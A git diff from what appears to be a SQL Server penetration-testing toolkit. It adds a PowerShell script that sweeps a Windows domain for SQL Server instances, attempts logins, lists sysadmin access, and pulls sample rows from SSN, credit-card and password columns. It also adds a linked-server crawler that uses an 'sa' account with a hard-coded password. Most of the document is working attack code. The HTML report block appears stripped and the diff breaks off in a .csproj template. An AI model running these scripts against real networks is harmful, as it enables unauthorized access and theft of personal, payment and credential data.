[*] ------------------------------------------------------------- + [*] DATABASE TARGET DISCOVERY + [*] ------------------------------------------------------------- + [*] Querying for all non-default accessible databases. + [*] - 10 accessible non-default databases were found. + [*] Filtering for databases using transparent encryption. + [*] - 2 databases were found using encryption. + [*] Filtering for databases with names that contain ACH. + [*] - 4 database names contain ACH. + [*] Filtering for databases with names that contain finance. + [*] - 1 database names contain finance. + [*] Filtering for databases with names that contain chd. + [*] - 6 database names contain chd. + [*] Filtering for databases with names that contain enclave. + [*] - 7 database names contain enclave. + [*] Filtering for databases with names that contain pos. + [*] - 2 database names contain pos. + [*] ------------------------------------------------------------- + [*] SENSITIVE DATA TARGET DISCOVERY + [*] ------------------------------------------------------------- + [*] Search accessible non-default databases for table names containing SSN. + [*] - 1 table columns found containing SSN. + [*] Search accessible non-default databases for table names containing CARD. + [*] - 7 table columns found containing CARD. + [*] Search accessible non-default databases for table names containing CREDIT. + [*] - 3 table columns found containing CREDIT. + [*] ------------------------------------------------------------- + [*] PASSWORD TARGET DISCOVERY + [*] ------------------------------------------------------------- + [*] Search accessible non-default databases for table names containing PASSWORD. + [*] - 4 table columns found containing PASSWORD. + [*] Search accessible non-default databases for agent source code containing PASSWORD. + [*] - 1 agent jobs containing PASSWORD. + [*] Search accessible non-default databases for stored procedure source code containing PASSWORD. + [*] - 0 stored procedures containing PASSWORD. + + ---------------------------------------------------------------- + SQL SERVER HUNT SUMMARY REPORT + ---------------------------------------------------------------- + Scan Summary + ---------------------------------------------------------------- + o Domain : DOMAIN.COM + o Start Time : 09/30/2001 12:59:51 + o Stop Time : 09/30/2001 13:00:17 + o Run Time : 00:00:25.7371541 + + ---------------------------------------------------------------- + Instance Summary + ---------------------------------------------------------------- + o 100 SQL Server instances found via SPN LDAP query. + o 50 SQL Server instances responded to port 1434 UDP requests. + + ---------------------------------------------------------------- + Access Summary + ---------------------------------------------------------------- + + Access: + o 25 SQL Server instances could be logged into. + o 5 SQL Server instances provided sysadmin access. + o 5 SQL Server role members were enumerated. *requires privileges + o 5 excessive role assignments were identified. + o 6 Shared SQL Server service accounts found. + + Below are the top 5: + o 10 SQLSVC_PROD + o 5 SQLSVC_UAT + o 5 SQLSVC_QA + o 2 SQLSVC_DEV + o 2 SQLApp + + Below is a summary of the versions for the accessible instances: + o 10 Standard Edition (64-bit) + o 5 Express Edition (64-bit) + o 10 Express Edition + + ---------------------------------------------------------------- + Database Summary + ---------------------------------------------------------------- + o 10 accessible non-default databases were found. + o 2 databases were found configured with transparent encryption. + o 4 database names contain ACH. + o 1 database names contain finance. + o 6 database names contain chd. + o 7 database names contain enclave. + o 2 database names contain pos. + + ---------------------------------------------------------------- + Sensitive Data Access Summary + ---------------------------------------------------------------- + o 1 sample rows were found for columns containing SSN. + o 7 sample rows were found for columns containing CREDIT. + o 3 sample rows were found for columns containing CARD. + + ---------------------------------------------------------------- + Password Access Summary + ---------------------------------------------------------------- + o 4 sample rows were found for columns containing PASSWRORD. + o 1 agent jobs potentially contain passwords. *requires sysadmin + o 0 stored procedures potentially contain passwords. *requires sysadmin + + ---------------------------------------------------------------- + [*] Saving results to C:\temp\demo.com-Share-Inventory-Summary-Report.html + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'Domain user to authenticate with domain\user. For computer lookup.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain password to authenticate with domain\user. For computer lookup.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain controller for Domain and Site that you want to query against. For computer lookup.')] + [string]$DomainController, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads to process at once.')] + [int]$Threads = 100, + + [Parameter(Mandatory = $false, + HelpMessage = 'Perform SPN discovery of MSServerClusterMgmtAPI SPN as well. This is much slower.')] + [switch]$CheckMgmt, + + [Parameter(Mandatory = $false, + HelpMessage = 'Attempt to log into all identify instances even if they dont respond to UDP requests.')] + [switch]$CheckAll, + + [Parameter(Mandatory = $true, + HelpMessage = 'Directory to output files to.')] + [string]$OutputDirectory + ) + + Begin + { + Write-Output " ----------------------------------------------------------------" + Write-Output " | Invoke-HuntSQLServers |" + Write-Output " ----------------------------------------------------------------" + Write-Output " | |" + Write-Output " | This function automates the following tasks: |" + Write-Output " | |" + Write-Output " | Instance Discovery |" + Write-Output " | o Determine current computer's domain |" + Write-Output " | o Query the domain controller via LDAP for SQL Server instances|" + Write-Output " | o Filter for instances that respond to UDP scans |" + Write-Output " | |" + Write-Output " | Access Discovery |" + Write-Output " | o Filter for instances that can be logged into |" + Write-Output " | o Filter for instances that provide sysadmin access |" + Write-Output " | o Identify potentially excessive role members (sysadmin) |" + Write-Output " | o Identify shared SQL Server service accounts |" + Write-Output " | o Summarize versions that could be logged into |" + Write-Output " | |" + Write-Output " | Data Target Discovery: Database Targets |" + Write-Output " | o Filter based on database name |" + Write-Output " | o Filter based on database encryption |" + Write-Output " | |" + Write-Output " | Data Target Discovery: Sensitive Data |" + Write-Output " | o Social security numbers via column name |" + Write-Output " | o Credit card numbers via column name |" + Write-Output " | |" + Write-Output " | Data Target Discovery: Passwords |" + Write-Output " | o Passwords via column names |" + Write-Output " | o Passwords in agent jobs (sysadmin) |" + Write-Output " | o Passwords in stored procedures (sysadmin) |" + Write-Output " | |" + Write-Output " ----------------------------------------------------------------" + Write-Output " | Note: This can take hours to run in large environments. |" + Write-Output " ----------------------------------------------------------------" + Write-Output " [*] Results will be written to $OutputDirectory" + + # Verify PowerUpSQL was loaded + $CheckForPowerUpSQL = Test-Path Function:\Get-SQLAuditDatabaseSpec + if($CheckForPowerUpSQL -eq $false) + { + Write-Output " [-] This function requires PowerUpSQL: www.powerupsql.com" + Write-Output " [!] Aborting execution." + break + } + + # Verify an output direcotry has been provided + if(-not $OutputDirectory) + { + Write-Output " [-] -OutputDirectory parameter was not provided." + Write-Output " [!] Aborting execution." + break + } + + # Get start time + $StartTime = Get-Date + Write-Output " [*] Start time: $StartTime" + $StopWatch = [system.diagnostics.stopwatch]::StartNew() + + # Get domain controller + + # Set target domain and domain + Write-Output " [*] Verifying connectivity to the domain controller" + if(-not $DomainController){ + + # If no dc is provided then use environmental variables + $DCHostname = $env:LOGONSERVER -replace("\\","") + $TargetDomain = $env:USERDNSDOMAIN + }else{ + $DCRecord = Get-domainobject -LdapFilter "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" -DomainController $DomainController -Username $username -Password $Password | select -first 1 | select properties -expand properties -ErrorAction SilentlyContinue + [string]$DCHostname = $DCRecord.dnshostname + [string]$DCCn = $DCRecord.cn + [string]$TargetDomain = $DCHostname -replace ("$DCCn\.","") + } + + if($DCHostname) + { + Write-Output " [*] - Targeting domain $TargetDomain" + Write-Output " [*] - Confirmed connection to domain controller $DCHostname" + }else{ + Write-Output " [*] - There appears to have been an error connecting to the domain controller." + Write-Output " [*] - Aborting." + break + } + } + + Process + { + + # ------------------------------------------ + # Instance Discovery + # ------------------------------------------ + + Write-Output " [*] -------------------------------------------------------------" + Write-Output " [*] INSTANCE DISCOVERY" + Write-Output " [*] -------------------------------------------------------------" + + # Get SQL Server instances + if($CheckMgmt){ + Write-Output " [*] Querying LDAP for SQL Server SPNs (mssql* and MSServerClusterMgmtAPI)." + Write-Output " [*] - WARNING: You have chosen to target MSServerClusterMgmtAPI" + Write-Output " [*] It will yield more results, but will be much slower." + $AllInstances = Get-SQLInstanceDomain -CheckMgmt + }else{ + Write-Output " [*] Querying LDAP for SQL Server SPNs (mssql*)." + $AllInstances = Get-SQLInstanceDomain + } + + $AllInstancesCount = $AllInstances.count + $AllComputers = $AllInstances | Select ComputerName -Unique + $AllComputersCount = $AllComputers.count + Write-Output " [*] - $AllInstancesCount SQL Server SPNs were found across $AllComputersCount computers." + + # Save list of SQL Server instances to a file + write-output " [*] - Writing list of SQL Server SPNs to $OutputDirectory\$TargetDomain-SQL-Server-Instance-SPNs.csv" + $AllInstances | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-All.csv" + + # Perform UDP scanning of identified SQL Server instances on udp port 1434 + write-output " [*] Performing UDP scanning $AllComputersCount computers." + $UDPInstances = $AllComputers | Where-Object ComputerName -notlike "" | Get-SQLInstanceScanUDPThreaded -Threads 100 + $UDPInstancesCount = $UDPInstances.count + Write-Output " [*] - $UDPInstancesCount instances responded." + $UDPInstances | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-UDPResponse.csv" + + # ------------------------------------------ + # Access Discovery + # ------------------------------------------ + + Write-Output " [*] -------------------------------------------------------------" + Write-Output " [*] ACCESS DISCOVERY" + Write-Output " [*] -------------------------------------------------------------" + + # Check if targeting all or just those that responded to UDP + if($CheckAll){ + + # Attempt to log into instances that found via SPNs + Write-Output " [*] Attempting to log into $AllInstancesCount instances found via SPN query." + $LoginAccess = $AllInstances | Get-SQLServerInfoThreaded -Threads 100 + $LoginAccessCount = $LoginAccess.count + Write-Output " [*] - $LoginAccessCount could be logged into." + $LoginAccess | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-LoginAccess.csv" + + }else{ + + # Attempt to log into instances that responded to UDP + Write-Output " [*] Attempting to log into $UDPInstancesCount instances that responded to UDP scan." + $LoginAccess = $UDPInstances | Get-SQLServerInfoThreaded -Threads 100 + $LoginAccessCount = $LoginAccess.count + Write-Output " [*] - $LoginAccessCount could be logged into." + $LoginAccess | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-LoginAccess.csv" + } + + # Filter for instances with sysadmin privileges + Write-Output " [*] Listing sysadmin access." + $LoginAccessSysadmin = $LoginAccess | Where-Object IsSysadmin -like "Yes" + $LoginAccessSysadminCount = $LoginAccessSysadmin.count + Write-Output " [*] - $LoginAccessSysadminCount SQL Server instances provided sysadmin privileges." + $LoginAccessSysadmin | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-LoginAccess-Sysadmin.csv" + + # Attempt to obtain a list of role members from SQL Server instance (requrie sysadmin) + Write-Output " [*] Attempting to grab role members from $LoginAccessCount instances." + Write-Output " [*] - This usually requires special privileges" + $RoleMembers = $LoginAccess | Get-SQLServerRoleMember + $RoleMembersCount = $RoleMembers.count + Write-Output " [*] - $RoleMembersCount role members were found." + $RoleMembers | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-RoleMembers.csv" + + # Filter for common explicit role assignments for Everyone, Builtin\Users, Authenticated Users, and Domain Users + Write-Output " [*] Identifying excessive role memberships." + $ExcessiveRoleMemberships = $RoleMembers | + ForEach-Object{ + + # Filter for broad groups + if (($_.PrincipalName -eq "Everyone") -or ($_.PrincipalName -eq "BUILTIN\Users") -or ($_.PrincipalName -eq "Authenticated Users") -or ($_.PrincipalName -like "*Domain Users") ) + { + $_ + } + } + $ExcessiveRoleMembershipsCount = $ExcessiveRoleMemberships.count + Write-Output " [*] - $ExcessiveRoleMembershipsCount were found." + $ExcessiveRoleMemberships | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-RoleMembers-Excessive.csv" + + # Create a list of share service accounts from the instance information + Write-Output " [*] Identifying shared SQL Server service accounts." + $SharedAccounts = $AllInstances | Group-Object DomainAccount | Sort-Object Count -Descending | Where Count -GT 4 | Select Count, Name + $SharedAccountsCount = $SharedAccounts.count + Write-Output " [*] - $SharedAccountsCount shared accounts were found." + $SharedAccounts | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-SharedAccounts.csv" + + # Create a summary of the affected SQL Server versions + Write-Output " [*] Creating a list of accessible SQL Server instance versions." + $SQLServerVersions = $LoginAccess | Group-Object SQLServerEdition | Sort-Object Count -Descending | Select Count, Name + $SQLServerVersionsCount = $SQLServerVersions.count + Write-Output " [*] - $SQLServerVersionsCount versions were found that could be logged into." + $SQLServerVersions | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Instances-VersionSummary.csv" + + # ------------------------------------------ + # Data Discovery: Databse Targets + # ------------------------------------------ + + Write-Output " [*] -------------------------------------------------------------" + Write-Output " [*] DATABASE TARGET DISCOVERY" + Write-Output " [*] -------------------------------------------------------------" + + # Get a list of all accessible non-default databases from SQL Server instances + Write-Output " [*] Querying for all non-default accessible databases." + $Databases = $LoginAccess | Get-SQLDatabaseThreaded -NoDefaults -HasAccess + $DatabasesCount = $Databases.count + Write-Output " [*] - $DatabasesCount accessible non-default databases were found." + $Databases | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases.csv" + + # Filter for potential high value databases if transparent encryption is used + Write-Output " [*] Filtering for databases using transparent encryption." + $DatabasesEnc = $Databases | Where-Object {$_.is_encrypted –eq “TRUE”} + $DatabasesEncCount = $DatabasesEnc.count + Write-Output " [*] - $DatabasesEncCount databases were found using encryption." + $DatabasesEnc | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-Encrypted.csv" + + # Filter for potential high value databases based on keywords + Write-Output " [*] Filtering for databases with names that contain ACH." + $DatabasesACH = $Databases | Where-Object {$_.DatabaseName –like “*ACH*”} + $DatabasesACHCount = $DatabasesACH.count + Write-Output " [*] - $DatabasesACHCount database names contain ACH." + $DatabasesACH | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-ach.csv" + + Write-Output " [*] Filtering for databases with names that contain finance." + $DatabasesFinance = $Databases | Where-Object {$_.DatabaseName –like “*finance*”} + $DatabasesFinanceCount = $DatabasesFinance.count + Write-Output " [*] - $DatabasesFinanceCount database names contain finance." + $DatabasesFinance | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-finance.csv" + + Write-Output " [*] Filtering for databases with names that contain pci." + $DatabasesPCI = $Databases | Where-Object {$_.DatabaseName –like “*pci*”} + $DatabasesPCICount = $DatabasesPCI.count + Write-Output " [*] - $DatabasesPCICount database names contain pci." + $DatabasesPCI | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-pci.csv" + + Write-Output " [*] Filtering for databases with names that contain chd." + $DatabasesCHD = $Databases | Where-Object {$_.DatabaseName –like “*chd*”} + $DatabasesCHDCount = $DatabasesCHD.count + Write-Output " [*] - $DatabasesCHDCount database names contain chd." + $DatabasesCHD | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-chd.csv" + + Write-Output " [*] Filtering for databases with names that contain enclave." + $DatabasesEnclave = $Databases | Where-Object {$_.DatabaseName –like “*enclave*”} + $DatabasesEnclaveCount = $DatabasesEnclave.count + Write-Output " [*] - $DatabasesEnclaveCount database names contain enclave." + $DatabasesEnclave | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-enclave.csv" + + Write-Output " [*] Filtering for databases with names that contain pos." + $DatabasesPOS = $Databases | Where-Object {$_.DatabaseName –like “*pos*”} + $DatabasesPOSCount = $DatabasesPOS.count + Write-Output " [*] - $DatabasesPOSCount database names contain pos." + $DatabasesPOS | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Databases-pos.csv" + + # ------------------------------------------ + # Data Discovery: Sensitive Data Targets + # ------------------------------------------ + + Write-Output " [*] -------------------------------------------------------------" + Write-Output " [*] SENSITIVE DATA TARGET DISCOVERY" + Write-Output " [*] -------------------------------------------------------------" + + # Target Social security numbers via column name + Write-Output " [*] Search accessible non-default databases for table names containing SSN." + $SSNNumbers = $LoginAccess | Get-SQLColumnSampleDataThreaded -SampleSize 2 -NoDefaults -Threads 20 -Keywords "ssn" + $SSNNumbersCount = $SSNNumbers.count + Write-Output " [*] - $SSNNumbersCount table columns found containing SSN." + $SSNNumbers | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Data-ssn.csv" + + # Target credit numbers via column name + Write-Output " [*] Search accessible non-default databases for table names containing CARD." + $ccCards = $LoginAccess | Get-SQLColumnSampleDataThreaded -SampleSize 2 -NoDefaults -ValidateCC -Threads 20 -Keywords "card" + $ccCardsCount = $ccCards.count + Write-Output " [*] - $ccCardsCount table columns found containing CARD." + $ccCards | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Data-card.csv" + + Write-Output " [*] Search accessible non-default databases for table names containing CREDIT." + $ccCredit = $LoginAccess | Get-SQLColumnSampleDataThreaded -SampleSize 2 -NoDefaults -ValidateCC -Threads 20 -Keywords "credit" + $ccCreditCount = $ccCredit.count + Write-Output " [*] - $ccCreditCount table columns found containing CREDIT." + $ccCredit | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Data-credit.csv" + + # ------------------------------------------ + # Data Discovery: Password Targets + # ------------------------------------------ + + Write-Output " [*] -------------------------------------------------------------" + Write-Output " [*] PASSWORD TARGET DISCOVERY" + Write-Output " [*] -------------------------------------------------------------" + + # Target passwords based on column names + Write-Output " [*] Search accessible non-default databases for table names containing PASSWORD." + $ColumnPasswords = $LoginAccess | Get-SQLColumnSampleDataThreaded -SampleSize 2 -NoDefaults -Threads 20 -Keywords "password" + $ColumnPasswordsCount = $ColumnPasswords.count + Write-Output " [*] - $ColumnPasswordsCount table columns found containing PASSWORD." + $ColumnPasswords | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Passswords-ColumnName.csv" + + # Target passwords in agent jobs (requires privileges) + Write-Output " [*] Search accessible non-default databases for agent source code containing PASSWORD." + $AgentPasswords = $LoginAccess | Get-SQLAgentJob -Keyword "password" + $AgentPasswordsCount = $AgentPasswords.count + Write-Output " [*] - $AgentPasswordsCount agent jobs containing PASSWORD." + $AgentPasswords | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Passswords-AgentJobs.csv" + + # Target passwords in stored procedures (requires privileges) + Write-Output " [*] Search accessible non-default databases for stored procedure source code containing PASSWORD." + $SpPasswords = $LoginAccess | Get-SQLStoredProcedure -Keyword "password" + $SpPasswordsCount = $SpPasswords.count + Write-Output " [*] - $SpPasswordsCount stored procedures containing PASSWORD." + $SpPasswords | Export-Csv -NoTypeInformation "$OutputDirectory\$TargetDomain-SQLServer-Passswords-Procedures.csv" + } + + End + { + # Get run time + $EndTime = Get-Date + $StopWatch.Stop() + $RunTime = $StopWatch | Select-Object Elapsed -ExpandProperty Elapsed + + # ------------------------------------------ + # Console Report + # ------------------------------------------ + + # Generate summary console output + Write-Output " " + Write-Output " ----------------------------------------------------------------" + Write-Output " SQL SERVER HUNT SUMMARY REPORT " + Write-Output " ----------------------------------------------------------------" + Write-Output " Scan Summary " + Write-Output " ----------------------------------------------------------------" + Write-Output " o Domain : $TargetDomain" + Write-Output " o Start Time : $StartTime" + Write-Output " o Stop Time : $EndTime" + Write-Output " o Run Time : $RunTime" + Write-Output " " + Write-Output " ----------------------------------------------------------------" + Write-Output " Instance Summary " + Write-Output " ----------------------------------------------------------------" + Write-Output " o $AllInstancesCount SQL Server instances found via SPN LDAP query." + Write-Output " o $UDPInstancesCount SQL Server instances responded to port 1434 UDP requests." + Write-Output " " + Write-Output " ----------------------------------------------------------------" + Write-Output " Access Summary " + Write-Output " ----------------------------------------------------------------" + Write-Output " " + Write-Output " Access:" + Write-Output " o $LoginAccessCount SQL Server instances could be logged into." + Write-Output " o $LoginAccessSysadminCount SQL Server instances provided sysadmin access." + Write-Output " o $RoleMembersCount SQL Server role members were enumerated. *requires privileges" + Write-Output " o $ExcessiveRoleMembershipsCount excessive role assignments were identified." + Write-Output " o $SharedAccountsCount Shared SQL Server service accounts found." + Write-Output " " + Write-Output " Below are the top 5:" + + # Display top 5 most common service accounts + $SqlServiceAccountTop5 = $SharedAccounts | Select-Object count,name -First 5 + $SqlServiceAccountTop5 | + Foreach{ + + $CurrentCount = $_.count + $CurrentName = $_.name + Write-Output " o $CurrentCount $CurrentName" + } + + Write-Output " " + Write-Output " Below is a summary of the versions for the accessible instances:" + + # Display all SQL Server instance version counts + $LoginAccess | Group-Object SQLServerEdition | Sort-Object count -Descending | Select-Object count,name | + Foreach{ + + $CurrentCount = $_.count + $CurrentName = $_.name + Write-Output " o $CurrentCount $CurrentName" + } + + Write-Output " " + Write-Output " ----------------------------------------------------------------" + Write-Output " Database Summary " + Write-Output " ----------------------------------------------------------------" + Write-Output " o $DatabasesCount accessible non-default databases were found." + Write-Output " o $DatabasesEncCount databases were found configured with transparent encryption." + Write-Output " o $DatabasesACHCount database names contain ACH." + Write-Output " o $DatabasesFinanceCount database names contain finance." + Write-Output " o $DatabasesCHDCount database names contain chd." + Write-Output " o $DatabasesEnclaveCount database names contain enclave." + Write-Output " o $DatabasesPOSCount database names contain pos." + Write-Output " " + Write-Output " ----------------------------------------------------------------" + Write-Output " Sensitive Data Access Summary " + Write-Output " ----------------------------------------------------------------" + Write-Output " o $SSNNumbersCount sample rows were found for columns containing SSN." + Write-Output " o $ccCreditCount sample rows were found for columns containing CREDIT." + Write-Output " o $ccCardsCount sample rows were found for columns containing CARD." + Write-Output " " + Write-Output " ----------------------------------------------------------------" + Write-Output " Password Access Summary " + Write-Output " ----------------------------------------------------------------" + Write-Output " o $ColumnPasswordsCount sample rows were found for columns containing PASSWRORD." + Write-Output " o $AgentPasswordsCount agent jobs potentially contain passwords. *requires sysadmin" + Write-Output " o $SpPasswordsCount stored procedures potentially contain passwords. *requires sysadmin" + Write-Output " " + Write-Output " ----------------------------------------------------------------" + + # ------------------------------------------ + # HTML Report + # ------------------------------------------ + + $HTMLReport1 = @" + + + + +

SQL SERVER HUNT SUMMARY REPORT

+ Domain:$TargetDomain
+ +

Scan Summary

+ + +

Instance Summary

+ + + +

Access Summary

+ + + +

Database Summary

+ + + +

Sensitive Data Access Summary

+ + + +

Password Access Summary

+ + + + +"@ + $HTMLReport = $HTMLReport1 + $HTMLReport2 + $HTMLReport3 + $HTMLReport4 + $HTMLReport5 + Write-Output " [*] Saving results to $OutputDirectory\$TargetDomain-Share-Inventory-Summary-Report.html" + $HTMLReport | Out-File "$OutputDirectory\$TargetDomain-SQLServer-Summary-Report.html" + } +} diff --git a/scripts/pending/LinkConvertExample.ps1 b/scripts/pending/LinkConvertExample.ps1 new file mode 100644 index 0000000..6600cea --- /dev/null +++ b/scripts/pending/LinkConvertExample.ps1 @@ -0,0 +1,32 @@ +$output = Get-SQLServerLinkCrawl -Verbose -Username sa -Password 'SuperSecretPassword!' -Instance 'MSSQLSRV04.demo.local\SQLSERVER2014' +$CsvResults = $output | +foreach { + [string]$StringLinkPath = "" + $Path = $_.path + $PathCount = $Path.count - 1 + $LinkSrc = $Path[$PathCount - 1] + $LinkDes = $Path[$PathCount] + $LinkUser = $_.user + $LinkDesSysadmin = $_.Sysadmin + $Instance = $_.instance + $LinkDesVersion = $_.Version + $Path | + foreach { + if ( $StringLinkPath -eq ""){ + [string]$StringLinkPath = "$_" + }else{ + [string]$StringLinkPath = "$StringLinkPath -> $_" + } + } + $Object = New-Object PSObject + $Object | add-member Noteproperty LinkSrc $LinkSrc + $Object | add-member Noteproperty LinkName $LinkDes + $Object | add-member Noteproperty LinkInstance $Instance + $Object | add-member Noteproperty LinkUser $LinkUser + $Object | add-member Noteproperty LinkSysadmin $LinkDesSysadmin + $Object | add-member Noteproperty LinkVersion $LinkDesVersion + $Object | add-member Noteproperty LinkHops $PathCount + $Object | add-member Noteproperty LinkPath $StringLinkPath + $Object +} +$CsvResults | export-csv -NoTypeInformation SQL-Server-Links.csv diff --git a/scripts/pending/README.md b/scripts/pending/README.md index 952ea0b..0dda9d0 100644 --- a/scripts/pending/README.md +++ b/scripts/pending/README.md @@ -15,4 +15,9 @@ Author: Antti Rantasaari Get-MSSQLCredentialPasswords.psm1 - + + Author: Scott Sutherland + Invoke-HuntSQLServers.ps1 + + Author: Scott Sutherland + SQLC2.ps1 diff --git a/templates/msbuild_sql_query.csproj b/templates/msbuild_sql_query.csproj index 598e461..fecf760 100644 --- a/templates/msbuild_sql_query.csproj +++ b/templates/msbuild_sql_query.csproj @@ -1,11 +1,20 @@